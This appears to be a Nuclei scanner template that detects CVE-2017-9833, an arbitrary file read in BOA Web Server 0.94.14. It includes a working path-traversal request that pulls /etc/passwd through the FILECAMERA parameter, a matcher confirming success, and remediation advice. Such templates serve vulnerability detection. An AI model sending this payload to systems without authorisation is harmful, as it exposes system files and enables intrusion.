id: CVE-2017-9833 info: name: BOA Web Server 0.94.14 - Arbitrary File Access author: 0x_Akoko severity: high description: BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials. remediation: | Upgrade to a patched version of BOA Web Server or apply the necessary security patches. reference: - https://www.exploit-db.com/exploits/42290 - https://nvd.nist.gov/vuln/detail/CVE-2017-9833 - https://pastebin.com/raw/rt7LJvyF - https://www.exploit-db.com/exploits/42290/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-9833 cwe-id: CWE-22 epss-score: 0.35156 epss-percentile: 0.96702 cpe: cpe:2.3:a:boa:boa:0.94.14.21:*:*:*:*:*:*:* metadata: max-request: 1 vendor: boa product: boa tags: boa,lfr,lfi,cve,cve2017,edb http: - method: GET path: - "{{BaseURL}}/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 4b0a00483046022100a1174770e25954b2163ce8b3916d07faee7daeb46cfa1b517998dbc834c9ced5022100eb80886efd39553dbd6ffe5dcf2236a045f113dfb0089457c0b03d19ce44448b:922c64590222798bb761d5b6d8e72950